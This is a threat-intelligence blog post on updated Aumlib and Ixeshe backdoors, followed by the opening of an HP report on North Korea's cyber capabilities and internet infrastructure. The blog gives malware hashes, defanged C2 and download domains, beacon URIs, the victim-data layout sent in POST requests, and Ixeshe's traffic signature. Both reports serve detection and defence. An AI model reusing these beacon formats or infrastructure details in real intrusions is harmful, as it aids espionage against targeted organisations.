The updates are significant for both of the longstanding malware families; before this year, Aumlib had
not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011.
BACKGROUND
Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network
defenses.
But, larger, more successful threat actors tend to evolve at a slower rate.
As long as these actors regularly achieve their objective (stealing sensitive data), they are not motivated to
update or rethink their techniques, tactics, or procedures (TTPs).
These threat actors’ tactics follow the
same principles of evolution – successful techniques propagate, and unsuccessful ones are abandoned.
Attackers do not change their approach unless an external force or environmental shift compels them to.
As the old saying goes: If it ain’t broke, don’t fix it.
So when a larger, successful threat actor changes up tactics, the move always piques our attention.
Naturally, our first priority is ensuring that we detect the new or altered TTPs.
But we also attempt to
figure out why the adversary changed — what broke?
— so that we can predict if and when they will
change again in the future.
We observed an example of this phenomenon around May.
About four months after The New York Times
publicized an attack on its network, the attackers behind the intrusion deployed updated versions of their
Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families [2].
The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved
since at least December 2011.
We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of
the episode.
But we do know the change was sudden.
Akin to turning a battleship, retooling TTPs of large
threat actors is formidable.
Such a move requires recoding malware, updating infrastructure, and possibly
retraining workers on new processes.
The following sections detail the changes to Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe.
Backdoor.APT.Aumlib
Aumlib has been used in targeted attacks for years.
Older variants of this malware family generated the
following POST request:
POST /bbs/info.asp HTTP/1.1
Data sent via this POST request transmitted in clear text in the following structure:
<VICTIM BIOS NAME>|<CAMPAIGN ID>|<VICTIM EXTERNAL IP>|<VICTIM OS>|
A recently observed malware sample (hash value 832f5e01be536da71d5b3f7e41938cfb) appears to be a
modified variant of Aumlib.
The sample, which was deployed against an organization involved in shaping economic policy, was
downloaded from the following URL:
status[.]acmetoy[.
]com/DD/myScript.js or status[.]acmetoy[.
]com/DD/css.css
The sample generated the following traffic:
This output reveals the following changes when compared with earlier variants:
The POST URI is changed to /bbs/search.asp (as mentioned, earlier Aumlib variants used a POST
URI of /bbs/info.asp.)
The POST body is now encoded.
Additional requests from the sample generated the following traffic:
These subtle changes may be enough to circumvent existing IDS signatures designed to detect older
variants of the Aumlib family.
The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash
cb3dcde34fd9ff0e19381d99b02f9692.
The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to
documents[.]myPicture[.
]info and www[.]documents[.]myPicture[.
]info and as expected generated the a
POST request to /bbs/info.asp.
Backdoor.APT.Ixeshe
Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia [3].
Although the
network traffic is encoded with a custom Base64 alphabet, the URI pattern has been largely consistent:
/[ACD] [EW]S[Numbers].jsp?
[Base64]
We analyzed a recent sample that appears to have targeted entities in Taiwan, a target consistent with
previous Ixeshe activity.
This sample (aa873ed803ca800ce92a39d9a683c644) exhibited network traffic that does not match the
earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe
related infections.
The Base64-encoded data still contains information including the victim’s hostname and IP address but
also a “mark” or “campaign tag/code” that the threat actors use to keep track of their various attacks.
The
mark for this particular attack was [ll65].
CONCLUSION
Based on our observations, the most successful threat actors evolve slowly and deliberately.
So when they
do change, pay close attention.
Knowing how attackers’ strategy is shifting is crucial to detecting and
defending against today’s advanced threats.
But knowing the “why” is equally important.
That additional
degree of understanding can help organizations forecast when and how a threat actor might change their
behavior — because if you successfully foil their attacks, they probably will.
Notes
[1] http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times-
computers.html?pagewanted=all
[2] This actor is known as APT12 by Mandiant
[3] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-
papers/wp_ixeshe.pdf
This entry was posted in Threat Intelligence, Threat Research by Ned Moran and Nart Villeneuve.
Bookmark the permalink.
Companion report
HP Security Briefing
Episode 16, August 2014
Profiling an enigma: The
mystery of North Korea’s cyber
threat landscape
HP Security Research
Table of Contents
Introduction .................................................................................................................................................... 3
Research roadblocks ...................................................................................................................................... 4
Ideological and political context .................................................................................................................... 5
Juche and Songun...................................................................................................................................... 5
Tension and change on the Korean Peninsula .......................................................................................... 8
North Korean cyber capabilities and limitations ......................................................................................... 10
North Korean infrastructure.................................................................................................................... 10
An analysis of developments in North Korean cyberspace since 2010 .................................................. 14
North Korean cyber war and intelligence structure ................................................................................ 21
North Korean cyber and intelligence organizational chart ..................................................................... 26
North Korea’s cyber doctrine, strategies and goals ............................................................................... 26
Cyber warfare operations ........................................................................................................................ 27
Gaming for profit and pwnage ................................................................................................................ 29
Intelligence and counterintelligence ...................................................................................................... 29
Psychological operations ........................................................................................................................ 32
Electronic warfare ................................................................................................................................... 38
Training cyber warriors ........................................................................................................................... 39
Important political and military ties ............................................................................................................ 42
China ........................................................................................................................................................ 42
© Copyright 2014 Hewlett-Packard Development Company, L.P.
The information contained herein is subject to change without notice.
The only warranties for HP
products and services are set forth in the express warranty statements accompanying such products and services.
Nothing herein should be construed as constituting an
additional warranty.
HP shall not be liable for technical or editorial errors or omissions contained herein.
Russia ...................................................................................................................................................... 43
Iran ........................................................................................................................................................... 43
Syria ......................................................................................................................................................... 44
Cuba ......................................................................................................................................................... 44
Timeline of significant North Korean cyber activity .................................................................................... 45
Patterns in the noise: cyber incidents attributed to North Korean actors .................................................. 47
DarkSeoul ................................................................................................................................................ 50
WhoIs Team ............................................................................................................................................. 52
IsOne ........................................................................................................................................................ 55
Kimsukyang ............................................................................................................................................. 57
New Romantic Cyber Army Team / Hastati ............................................................................................. 57
Malware summary........................................................................................................................................ 58
Analysis ........................................................................................................................................................ 60
Summary ...................................................................................................................................................... 61
HP Security Research recommendations..................................................................................................... 62
Appendix A – WHOIS records ........................................................................................................................ 64
Appendix B – Sites found on North Korean IP space.................................................................................... 72
Appendix C – Analysis of DarkSeoul Dropper .............................................................................................. 74
Learn more at .......................................................................................................................................... 75
Episode 16
Thank you for subscribing to Episode 16 of the HP Security Briefing.
In this
edition we discuss the cyber landscape within the Democratic People’s
Republic of Korea.
Introduction
The Democratic People’s Republic of Korea (DPRK), known in the West as North Korea, is a unique
country with a military-focused society and an unconventional technology infrastructure.
While
North Korea was formerly on the U.S. list of state sponsors of terrorism, it was removed in 2008.
1
However, due to North Korea’s hostility toward other nations, its pursuit of nuclear weapons, and
human rights violations against its own citizens, the United Nations and many Western entities
have placed sanctions and embargoes against North Korea.2 3 For example, U.S. export laws
forbid the sale of dual-use technologies, or those that can be used or repurposed for both civilian
and military use, to North Korea.4 5 Additionally, the U.S. has a military alliance with the Republic of
Korea (ROK), known in the West as South Korea, North Korea’s primary target of conflict.6
Due to North Korea’s global interactions, its cyber warfare capabilities are of particular interest to
the U.S.
According to a 2009 report by Major Steve Sin, an intelligence analyst at U.S.
Forces
Korea, North Korean hackers have successfully penetrated U.S. defense networks more
frequently than any other country that has targeted U.S. defense assets.7 While Major Sin may
have been overly optimistic about North Korea’s abilities, it is clear that they should not be
underestimated.
Frank Cilluffo, co-director of the Cyber Center for National and Economic Security
at George Washington University, testified before Congress that North Korea’s cyber capability
"poses an important 'wild card' threat, not only to the United States but also to the region and
broader international stability…"8 In an April 2014 testimony given to the House Armed Services
Committee, General Curtis M. Scaparrotti noted that “North Korea remains a significant threat to
United States’ interests, the security of South Korea, and the international community due to its
willingness to use force, its continued development and proliferation of nuclear weapon and long-
range ballistic missile programs, and its abuse of its citizens’ human rights, as well as the
legitimate interests of its neighbors and the international community.” Scaparrotti stressed that
“While North Korea’s massive conventional forces have been declining due to aging and lack of
resources…North Korea is emphasizing the development of its asymmetric capabilities.
North
1
http://thecable.foreignpolicy.com/posts/2010/05/25/why_the_state_department_wont_put_north_korea_back_on_the_terror_list
2
http://www.sanctionswiki.org/North_Korea
3
https://www.fas.org/irp/offdocs/eo/eo-13551.pdf
4
http://www.foxnews.com/world/2012/04/17/un-computer-shipment-to-north-korean-regime-violates-us-manufacturers-ban/
5
http://www.state.gov/strategictrade/overview/
6
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
7
http://www.nextgov.com/defense/whats-brewin/2009/07/north-koreas-hackers-in-a-luxury-hotel/51330/
8
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/3
Korea’s asymmetric arsenal includes…an active cyber warfare capability.”9 While one would expect
the regime’s digital infrastructure to also suffer from aging or lack of resources, these factors do
not take away from their technical abilities to wage cyber warfare.
While the U.S. views North Korea’s cyber warfare program as the regime’s foray into modern
asymmetrical warfare, South Korea views the regime’s cyber capabilities as a terroristic threat, -a
build-up for an impending multifaceted attack.
It is important to note that, to date, no such attack
has occurred.
According to a report written by Captain Duk-Ki Kim, Republic of Korea Navy officer
and Ph.D. “…the North Korean regime will first conduct a simultaneous and multifarious cyber
offensive on the Republic of Korea’s society and basic infrastructure, government agencies, and
major military command centers while at the same time suppressing the ROK government and its
domestic allies and supporters with nuclear weapons.”10 South Korea’s view of North Korea as a
terroristic threat may be an attempt to downgrade North Korea politically, since South Korea does
not recognize the regime as a legitimate state.11 South Korean reports also claim that North
Korea’s premier hacking unit, Unit 121, trails Russia and the U.S. as the world’s third largest cyber
unit.
12 While this claim may be exaggerated, in 2012, South Korean reports estimated North
Korea’s hacker forces at around 3000 personnel.
In a July 2014 report from South Korea’s Yonhap
News Agency, that figure was upgraded to 5900 hacker elite.13 We must stress that although
these claims have not been corroborated, South Korea has taken the regime’s cyber threats very
seriously and is reportedly training 5000 personnel to defend against North Korean cyber
attacks.14
Obtaining details on North Korea’s cyber warfare capabilities is not an easy task.
This paper will
examine the known cyber capabilities of North Korea’s regime and how the country maintains
secrecy in these matters.
Through information obtained via open source intelligence (OSINT), we
will present what is known about North Korea’s cyber warfare and supporting intelligence and
psychological operations capabilities.
Research roadblocks
The following conditions proved to be research roadblocks when gathering intelligence regarding
North Korea’s cyber warfare capabilities:
 Much of the intelligence available on North Korea is dated and may not accurately reflect
the regime’s current capabilities.
 Much of the intelligence available on North Korea comes from U.S. or South Korean
military or agency reports.
These reports omit details that are likely classified, such as
specific IP addresses and individual actor information.
 While South Korea is an ally of the United States, its reports on North Korean cyber
activity potentially contain incomplete or biased information.
Cultural factors that stem
9
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
10
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
11
http://www.atimes.com/atimes/Korea/GA04Dg01.html
12
http://www.koreaherald.com/view.php?ud=20130321000980
13
http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/
14
http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/
from a history of tension and conflict between the two nations may skew perception and
make objectivity difficult.
15 16
     North Korea’s Internet infrastructure and the regime’s strict control over its use ensures
that there are no rogue actors and that all officially sanctioned actors exercise careful
OPSEC and PERSEC practices in order to prevent inadvertent information leaks.
In other
words, there was no significant identifying information in the form of an OSINT trail left
behind by the actors.
This hinders collection of original, actionable threat intelligence and
individual actor attribution.
     North Korea is well-isolated from the outside world, and its strong intelligence and
psychological operations presence effectively creates confusion via counterintelligence
and disinformation about the regime’s capabilities.17 For this reason, any “official” reports
emanating from North Korea must be taken with a grain of salt.
This also hinders
attempts to obtain original, actionable threat intelligence.
Ideological and political context
In order for Westerners to understand the North Korean mindset, it is necessary to examine the
key components of North Korean political and ideological thought.
It is also necessary to provide a
brief explanation of how North Korea and South Korea view one another, in order to understand
the basis for conflict between the two.
Juche and Songun
North Korea has two primary ideologies that provide context for the regime’s motivations and
activities: juche (ju-cheh) and songun (sun-goon).
Juche is the official political ideology of North
Korea.
It was instituted in 1972 and is based on the ideologies of Kim Il-Sung, the founder of the
DPRK.
Juche emphasizes self-reliance, mastering revolution and reconstruction in one’s own
country, being independent of others, displaying one’s strengths, defending oneself, and taking
responsibility for solving one’s own problems.
North Korea’s air-gapped intranet, described below,
exemplifies this philosophy in the country’s cyber infrastructure.
The juche philosophy explains
North Korea’s disdain for outside cultural and political influence.
Juche challenges North Koreans
to contribute to the regime’s chaju (ja-ju), a concept of national sovereignty and independence.18
The regime’s greatest fear is internal dissent and resulting destabilization.19 20 In a June 2014
Reddit AMA session, Dr. Andrei Lankov, an expert on North Korean culture and society, noted
“there are also serious signs of public alienation and discontent.
And I cannot rule out a public
outbreak of such discontent in the near future.
Of course, if it happens, it will have a serious
impact on the government.”21 Despite North Korea’s strong conviction in juche, the regime
collaborates with and receives support from other nations.
However, due to this deep-seated
15
http://www.businessinsider.com/did-kim-jong-un-execute-his-ex-girlfriend-2013-8
16
http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10554198/North-Koreas-invisible-phone-killer-dogs-and-other-such-stories-
why-the-world-is-transfixed.html
17
http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar
18
http://www.stanford.edu/group/sjeaa/journal3/korea1.pdf
19
http://belfercenter.ksg.harvard.edu/publication/20269/keeping_kim.html
20
http://www.buzzfeed.com/miriamberger/the-world-as-viewed-by-north-koreas-propaganda-machine
21
http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/
ideology, it is doubtful that North Korea fully trusts these apparent allies.22 Later in this document,
we will show that North Korea relies heavily on China for Internet access.
North Korea also
collaborates with China and Russia to train its cyber warriors and has longstanding political and
military relationships with several nations.
Songun is North Korea’s “military first” doctrine.
Songun emphasizes the priority of the military in
resource allocation and political and economic affairs.
23 This doctrine stems from the belief that
the military is vital for preservation of chaju.24 Understanding songun mindset gives context for
this potential threat actor’s motivations.
According to a 2013 Congressional report, the strategy
established under former leader Kim Jong-Il focused on “internal security, coercive diplomacy to
compel acceptance of its diplomatic, economic and security interests, development of strategic
military capabilities to deter external attack, and challenging South Korea and the
U.S.-South Korean alliance.
"25                                                            Songun is North Korea’s
“military first” doctrine.
North Korea’s songun permeates the lives of all North Korean citizens.
Article 58 of                                           Songun emphasizes the
priority of the military in
the North Korean Constitution states that the nation should base itself on a                                                   resource allocation and
nationwide defense system that includes all people.26 North Korea, with a                                                      political and economic
population of 25 million, has an active duty force of 1.19 million personnel, the                                              affairs.
Understanding this
fourth largest in the world.
The country’s reserve and paramilitary units comprise                                             mindset gives context for a
potential threat actor’s
7.7 million additional personnel.27 In other words, over a third of the country’s
motivations.
population serves in a military or paramilitary capacity.
Some North Korean youth aged 7-13 are inducted into the Korean Children’s Union.
The Korean
Children’s Union is responsible for indoctrinating youths who pledge to build up their strength to
later defend the regime.28
22
http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf
23
http://www.strategicstudiesinstitute.army.mil/pdffiles/pub728.pdf
24
http://www.iar-gwu.org/sites/default/files/articlepdfs/DeRochie_-_The_Driving_Factor.pdf
25
http://www.defense.gov/news/newsarticle.aspx?id=119924
26
http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html
27
http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html
28
http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening-
nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490
Figure 1 A group of North Korean children being inducted into the Korean Children’s Union.29
Figure 2 Members of the Korean Children’s Union with the regime’s leader Kim Jong Un.30
29
http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening-
nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490
Children aged 14-16 can begin military training as members of the Young Red Guards, a
paramilitary unit.
Beginning at age 17, North Koreans are eligible to join the Reserve Military
Training Unit.31 The Reserve Military Training Unit forms the core of North Korea’s reserves and is
typically assigned to the front or regional defense in wartime.32 The youngest age at which a
citizen can be conscripted for active duty is unclear; reported ages range from 18-20.
Youths can
volunteer for active duty service at age 16 or 17.33 The Worker-Peasant Militia, or Red Guards,
includes males ages 17-60 and unmarried females ages 17-30 who are not part of active duty
units or the Reserve Military Training Unit.34
The regime has an impressive number of conventional weapons, considering the nation’s small
land area and population size.35 According to statistics released by CNN in 2014, North Korea’s
ground arsenal includes 4100 tanks, 2100 armored vehicles, and 8500 pieces of field artillery.
The regime’s sea weaponry includes 70 submarines, 420 patrol combatants, and 260 amphibious
landing craft.
Their airpower includes 730 combat aircraft, 300 helicopters, and 290 transport
aircraft.
While the limits of the regime’s ballistic missile program are unknown, North Korea is
thought to have fewer than 100 short-range missiles and fewer than 100 medium to long-range
missiles.36 However, in recent years, North Korea has suffered oil,37 fuel,38 electricity,39 and food40
shortages.
Without aid from another entity, the regime does not have sufficient resources to
maintain and sustain the majority of its weapons and associated personnel for rapid deployment
or prolonged combat.
Tension and change on the Korean Peninsula
Tension between North and South Korea has continued well past the armistice meant to end the
Korean War.
Neither nation recognizes the other as a legitimate state.
South Korea’s constitution
legally defines South Korean territory as the entire Korean peninsula and its adjacent islands, with
“North Korea” being a part of South Korea.
41 North Korea also claims to be the sole government
of the Korean Peninsula.42 Each country’s claim of sovereignty and refusal to acknowledge the
other as a legitimate state creates the condition for perpetual conflict.
North Korea’s negative
sentiment towards the U.S. stems from two major factors: the U.S. – South Korea military alliance
and North Korea’s perception that the U.S. is imperialistic and prone to exploitative capitalism.
43
30
http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening-
nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490
31
http://www.globalsecurity.org/military/world/dprk/army.htm
32
http://www.globalsecurity.org/military/world/dprk/army.htm
33
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=6&ved=0CFkQFjAF&url=http%3A%2F%2Fwww.child-
soldiers.org%2Fuser_uploads%2Fpdf%2Fkoreademocraticpeoplesrepublicof2639438.pdf&ei=fcyIU_uqCMas0QXUk4DoCw&usg=AFQjCNGOnkQt5ZStqxfc
tKrUY-5IWYSH0A&sig2=ivQLF6lHkSO8Yx9O9VlO4g&bvm=bv.67720277,d.d2k&cad=rja
34
http://www.globalsecurity.org/military/world/dprk/army.htm
35
http://www.globalfirepower.com/
36
http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html
37
http://www.presstv.com/detail/2013/04/23/299897/facing-food-and-oil-shortages-north-korea-turns-to-iran/
38
http://english.chosun.com/site/data/html_dir/2014/07/02/2014070201995.html
39
http://www.rfa.org/english/news/korea/electricity-10212013160033.html
40
http://edition.cnn.com/2013/04/09/business/north-korea-economy-explainer/
41
http://www.atimes.com/atimes/Korea/GA04Dg01.html
42
http://teacher.scholastic.com/scholasticnews/indepth/north_korea/north-south/index.asp?article=north_korea
43
http://cns.miis.edu/other/pinkston_strategic_insights_sep06.pdf
In recent years, two primary factors have heavily influenced the current state of North Korea’s
relations with South Korea and her allies: the rise of the regime’s leader Kim Jong Un and the
inauguration of South Korean president Park Guen Hye.
Kim Jong Un officially rose to power in
April 2012, following the death of his father Kim Jong Il in December 2011.
While his age
remained a mystery for quite some time, it was later revealed that he was born in January 1983,
making him age 31 at present.
This makes Kim Jong Un the world’s youngest leader of an
established nation.44 The young leader’s rise to power brought about several changes in North
Korea.
First, Kim Jong Un’s personal life is more public and more extravagant than that of his
father.
Unlike his father, the young Kim is often accompanied by his wife when making public
appearances.45 Second, the young Kim, who is more high-tech than his predecessor, is reported to
have an affinity for luxury items46 and is an avid gamer and basketball fan.47 Third, Kim Jong Un is
more totalitarian than his father.
Following his rise to power, the regime reportedly expanded its
labor camps, and more military resources were allocated to target those attempting to defect.
Kim also executed his own uncle, a high-ranking official who did not share his ideals.
These moves
indicate the regime’s priority to deter internal destabilization and dissent, which is perceived to be
a greater threat than outside adversity.
According to Phil Robertson, deputy Asia director at
Human Rights Watch, “The government now recognizes that the accounts of escaping North
Koreans reveal Pyongyang’s crimes – so it is doing what it can to stop people from fleeing.”48
Under Kim Jong Un’s rule, the regime has stepped up its nuclear materials production, and the
propaganda distributed by state media has become more menacing.49
The regime’s response to perceived threats has also become more volatile.
Christian Whiton, a
former deputy envoy to North Korea, noted that following Kim Jong Un’s rise to power, “the
regime still acts in a very belligerent manner, but it seems less predictable, and more random.”
Ellen Kim, assistant director of the Korea Chair at the Center for Strategic and International
Studies, assessed the situation thusly: “Since [Kim Jong Un] took power he has purged almost all
of his elder guardians ... and filled his surroundings with new faces.
We are in a situation where we
are learning about him a little bit every day through his unpredictable behavior and actions, which
is why the current situation with North Korea is a lot more dangerous than before.”50 The regime’s
recent reaction to an upcoming film supports these statements.
The plot for the comedy film “The
Interview” follows two talk show hosts who are asked to assassinate Kim Jong Un.
The regime
even sent a complaint about the movie to the UN.51 In response to the film, a North Korean official
stated, “The enemies have gone beyond the tolerance limit in their despicable moves to dare hurt
the dignity of the supreme leadership.” The official referred to the movie as "the most undisguised
terrorism and a war action to deprive the service personnel and people of the DPRK of their
mental mainstay and bring down its social system.” The official also issued a threat: “If the U.S.
administration connives at and patronizes the screening of the film, it will invite a strong and
merciless countermeasure.”52 This reaction demonstrates North Korea’s priority of preserving the
44
http://www.theatlantic.com/international/archive/2012/12/kim-jong-uns-age-is-no-longer-a-mystery/265983/
45
http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html
46
http://www.huffingtonpost.com/2014/02/18/north-korea-luxury-goods_n_4808823.html
47
http://nypost.com/2011/12/20/kims-007-nut-kid-in-charge/
48
http://www.hrw.org/news/2014/01/21/north-korea-kim-jong-un-deepens-abusive-rule
49
http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html
50
http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar
51
http://www.northkoreatech.org/2014/07/10/dprk-takes-the-interview-movie-complaint-to-the-un/
52
http://edition.cnn.com/2014/06/25/world/asia/north-korea-the-interview-reaction/index.html?iid=article_sidebar
regime’s self-perceived dignity in the global arena and its intolerance of any disrespect directed at
the Kim family.
While tensions between North and South Korea have persisted since the Korean War, these
tensions escalated following the 2013 inauguration of South Korea’s current president, Park Geun
Hye.
Her platform, in her words, is as follows: “North Korea must keep its agreements made with
South Korea and the international community to establish a minimum level of trust, and second
there must be assured consequences for actions that breach the peace.
To ensure stability,
trustpolitik should be applied consistently from issue to issue based on verifiable actions, and
steps should not be taken for mere political expediency.”53 Shortly after Park’s inauguration,
North Korea denounced UN Security Council Resolution 2094, which is “a resolution strengthening
and expanding the scope of United Nations sanctions against the Democratic People’s Republic of
Korea by targeting the illicit activities of diplomatic personnel, transfers of bulk cash, and the
country’s banking relationships, in response to that country’s third nuclear test on 12 February
[2013].”54 North Korea also responded strongly to joint U.S.-South Korea military exercises in
March 2013, as is noted later in this paper.55
North Korean cyber capabilities and limitations
North Korean infrastructure
North Korea’s cyber infrastructure is divided into two major parts: an outward-facing Internet
connection and a regime-controlled intranet.
North Korea’s outward-facing Internet connection is
only available to select individuals and is closely monitored for any activity that is deemed anti-
regime.
Individuals using the outward-facing Internet connection must be authorized.
In 2013,
Jean H. Lee, the Associated Press bureau chief in Pyongyang, stated that foreigners visiting North
Korea are allowed Internet access with no firewalls.56 Common citizens are limited to using the
Kwangmyong (gwang me-young), a nationwide intranet with no access to the world outside North
Korea.
57 According to Lee, Kwangmyong allows citizens “access to the state media, information
sources that are vetted by the government, and picked and pulled from the Internet and posted to
their intranet site.”58 As of May 2013, North Korea had only one “Internet café.”59 A 2003 report
from the Office of the National Counterintelligence Executive stated that North Korea’s “Internet
café” was “the only place in North Korea for the public to access the Internet” and that foreigners
were allowed to access the Internet from this café.60 Whether citizens are allowed to access the
Internet from this location is unknown.
Star Joint Venture Co. is responsible for providing North Korea’s Internet access.
Star Joint Venture
Co. was established by the Post and Telecommunications Corporation in cooperation with Loxley
53
http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy
54
http://www.un.org/News/Press/docs/2013/sc10934.doc.htm
55
http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy
56
http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/
57
http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2
58
http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/
59
http://www.washingtonpost.com/blogs/worldviews/wp/2013/01/29/north-koreans-shouldnt-count-on-using-the-new-google-maps/
60
http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf
Pacific in Thailand.61 In December 2009, Star Joint Venture became responsible for North Korea’s
Internet address allocation.
Previously, Internet access was provided by a German satellite link via
Korea Computer Center Europe or via direct connections with China Netcom, which was later
merged into China Unicom.
62 By October 2010, North Korea had made its first known direct
connection to the Internet, hosting an outward-facing Korean Central News Agency website
accessible from the global Internet.
63 However, many of North Korea’s globally accessible
websites are hosted in other countries.
In 2001, South Korean reports indicated that North Korea
had joined the International Telecommunications Satellite Organization (INTELSAT).64 As of April
2012, North Korea reportedly used the Intelsat connection, which appeared in border gateway
protocol (BGP) announcements.65 Some reports referred to the Intelsat connection as North
Korea’s backup Internet connection, in case the China Unicom connection fails.66 A March 2013
post on the blog rdns.im showed that North Korea no longer used the Intelsat connection.
In the
blog post, the author noted his method for proving that The Pirate Bay was not hosted in North
Korea.
While his analysis of The Pirate Bay’s hosting is irrelevant to our research, he did detail that
175.45.177.0/24 always routes through AS4837, and AS131279.
AS131279 is Star-KP, North
Korea’s Star Joint Venture Company, and AS4837 is China Unicom.
The author concluded that “all
[traffic] is ONLY routed through China Unicom and NOT through Intelsat.”67 In February 2014,
North Korean and South Korean officials agreed to extend Internet access to Kaesong Industrial
Zone, a jointly operated industrial complex just north of the border.
However, this would likely
require a major electrical and network infrastructure expansion.68
North Korea’s electrical grid cannot support a large technological infrastructure.69 Electrical
power is reported to be unreliable and sporadic, with many citizens only receiving a few hours of
electricity per day.70
61
http://www.northkoreatech.org/2011/05/19/more-details-on-star-joint-venture/
62
http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2
63
http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/
64
http://webcache.googleusercontent.com/search?q=cache:http://english.chosun.com/site/data/html_dir/2001/05/29/2001052961197.html
65
http://www.northkoreatech.org/2012/04/08/dprk-gets-second-link-to-internet/
66
http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage
67
https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2
68
http://www.northkoreatech.org/2014/02/10/internet-coming-to-kaesong-industrial-zone/
69
http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/
70
http://www.usnews.com/news/blogs/rick-newman/2013/04/12/heres-how-lousy-life-is-in-north-korea
Figure 3 North and South Korean power grid
The photo above (Figure 3), from the International Space Station, shows North Korea’s sparse
power grid, in comparison with surrounding nations.71 We have highlighted North Korea in red.
Koryolink, the country’s only cellular phone network,72 is tightly controlled by the regime.73 Cell
phone data plans are not available to most users.
Most cellular phones cannot access the
Internet and can only make domestic calls.74 According to a 2013 report, North Korea has a 3G
data network for cellular phones.
Visiting reporter Jean H. Lee purportedly used this 3G network
to post to both Twitter and Instagram.
However, citizens are not generally allowed to use the 3G
network.75
Email is also regulated by the regime.
The first email provider in North Korea was Silibank.
Silibank
has servers in Pyongyong and Shenyang and is a joint venture with China.
The North Korean
Silibank homepage is silibank.net, and the Chinese homepage is silibank.com.
In order to use the
email service, users had to initially register, provide personal information, and pay a registration
fee and monthly service fees.76 This registration information was current as of 2001.
However, it
is unknown whether the same process still applies.
WHOIS records for silibank.net show that the site was registered anonymously via a Japanese
registrar.
This information can be found in Appendix A at the end of this paper.
71
http://www.citylab.com/work/2014/02/north-korea-night-looks-big-black-hole/8484/
72
http://www.northkoreatech.org/2014/06/24/chinese-shops-offer-cheap-cellphones-to-north-koreans/
73
http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf
74
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
75
http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/
76
http://edition.cnn.com/2001/TECH/internet/11/07/north.korea.email.idg/index.html
Korea Computer Center (KCC) is North Korea’s leading government research center for
information technology.
KCC has eleven regional information centers and eight development and
production centers.
Other countries with KCC branch offices include China, Syria, Germany, and
United Arab Emirates.
KCC has a vested interest in Linux research and is responsible for the
development of North Korea’s national operating system, Red Star OS, which is discussed in more
detail below.
KCC’s other projects have included a proprietary search engine, a document writer, a
game called Jang-Gi, the Kwangmyong intranet, a food study program, a Korean input method
editor, a pen-based English-Korean and Korean-English translator, Korean voice recognition
software, a video conferencing system, a distance education system, SilverStar Paduk software,
HMS Player77, and the Samjiyon tablet.
78 In addition to research and development, KCC also
monitors websites of foreign government and business entities and conducts technical
reconnaissance to blueprint the technical specifications and vulnerabilities in foreign systems and
technologies.
KCC has also been involved in clandestine information and cyber operations, serving
as a command center.79
North Korea’s proprietary operating system is Red Star OS.
The development of this Linux-based
operating system started in 2002.
